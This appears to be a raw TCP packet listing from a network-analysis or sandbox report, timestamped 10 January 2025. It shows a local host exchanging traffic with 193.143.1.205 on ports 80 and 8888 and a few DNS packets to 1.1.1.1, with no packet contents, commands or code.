Jan 10, 2025 21:24:16.141228914 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141241074 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141252041 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141261101 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141263008 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141274929 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141287088 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141324997 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141343117 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141359091 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141397953 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141422987 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141434908 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141446114 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141458988 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141469955 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141479969 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141482115 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141493082 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141496897 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141505957 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141518116 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141525030 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141541958 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141702890 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141714096 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141726017 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141736984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141740084 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141748905 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141766071 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141792059 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141835928 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141848087 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141860008 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141870975 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141882896 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141889095 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141900063 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141901016 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141904116 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141921997 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141932964 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141942024 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141942978 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141956091 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141967058 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141971111 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141982079 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141983032 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141995907 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142009974 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142010927 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142092943 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142447948 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142460108 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142472029 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142484903 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142494917 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142496109 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142508984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142518997 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142520905 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142530918 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142543077 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142554045 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142555952 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142566919 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142577887 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142589092 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142597914 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142620087 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142620087 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142636061 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142721891 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142733097 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142755985 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142777920 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142791033 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142803907 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142848015 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142872095 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142883062 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.142899036 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.142924070 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.143156052 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.193296909 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193429947 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193443060 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193454981 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193466902 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193476915 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193483114 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.193489075 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193501949 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193514109 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193520069 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.193525076 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193536043 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193547964 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193561077 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.193564892 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.193588972 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202434063 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202450991 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202461958 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202472925 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202482939 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202485085 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202498913 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202512026 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202512026 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202522993 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202542067 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202543020 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202563047 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202562094 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202570915 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202578068 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202583075 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202589989 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202605963 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202632904 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202694893 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202707052 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202718973 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202728987 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.202745914 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.202788115 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247343063 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247359991 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247374058 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247412920 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247426033 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247435093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247447014 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247458935 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247472048 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247483969 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247490883 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247492075 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247495890 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247509003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247524977 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247526884 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247526884 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247536898 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247549057 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247581959 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247586966 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247601986 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247612000 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247625113 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247634888 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247647047 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247658014 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247657061 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247668982 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247690916 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247703075 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247714043 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247720003 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247725010 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247736931 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247740984 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247756004 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247759104 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247766972 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247777939 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247790098 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247797966 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247802973 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247817993 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247817993 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247858047 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247859001 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247878075 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247890949 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247910976 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247921944 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247932911 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.247935057 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247946978 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247956991 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247976065 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.247989893 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248001099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248014927 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248027086 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248028994 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248028994 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248028994 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248040915 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248054028 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248056889 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248064995 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248076916 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248081923 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248123884 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248138905 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248187065 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248254061 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248269081 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248306036 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248313904 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248342037 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248353004 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248353958 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248404980 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248480082 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248496056 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248507977 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248521090 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248532057 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248538971 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248543024 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248557091 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248558998 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248569965 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248580933 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248583078 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248593092 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248605013 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248616934 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248625040 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248630047 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248641968 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248646975 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248653889 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248670101 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248689890 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248704910 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248711109 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248723030 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248733997 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248738050 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248758078 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248759985 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248769999 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248780966 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248802900 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248805046 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248822927 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248823881 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248835087 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248847008 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248857975 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248868942 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248871088 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248883963 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248891115 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248897076 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248908043 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248909950 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248922110 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.248951912 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.248970032 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.249308109 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.249320984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.249367952 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.283135891 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283157110 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283170938 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283183098 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283195972 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283206940 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283219099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283216953 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.283231974 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.283267975 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.283286095 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.292169094 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292190075 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292203903 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292216063 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292238951 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292244911 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.292251110 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292275906 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292280912 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.292287111 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292300940 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292315960 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.292330027 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.292351961 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.373928070 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.378818989 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378837109 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378849030 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378870010 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378882885 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378895044 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378906965 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.378909111 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378920078 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378932953 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378943920 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.378946066 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.378963947 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.378976107 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379024029 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379034996 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379046917 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379062891 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379065037 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379079103 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379092932 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379100084 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379112005 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379123926 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379133940 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379136086 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379148960 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379157066 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379162073 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379168034 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379174948 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379188061 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.379235029 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.379235029 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.416997910 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.540903091 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.755378962 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:17.199687004 CET	49795	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:17.204504013 CET	8888	49795	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:17.204705000 CET	49795	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:17.204813957 CET	49795	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:17.209600925 CET	8888	49795	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:18.022614002 CET	8888	49795	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:18.069679022 CET	49795	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:18.893124104 CET	49795	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:25:43.515971899 CET	53171	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:25:43.520796061 CET	53	53171	1.1.1.1	192.168.2.6
Jan 10, 2025 21:25:43.520926952 CET	53171	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:25:43.520977974 CET	53171	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:25:43.525829077 CET	53	53171	1.1.1.1	192.168.2.6
Jan 10, 2025 21:25:43.981205940 CET	53	53171	1.1.1.1	192.168.2.6
Jan 10, 2025 21:25:43.982397079 CET	53171	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:25:43.987430096 CET	53	53171	1.1.1.1	192.168.2.6
Jan 10, 2025 21:25:43.987596989 CET	53171	53	192.168.2.6	1.1.1.1

UDP Packets

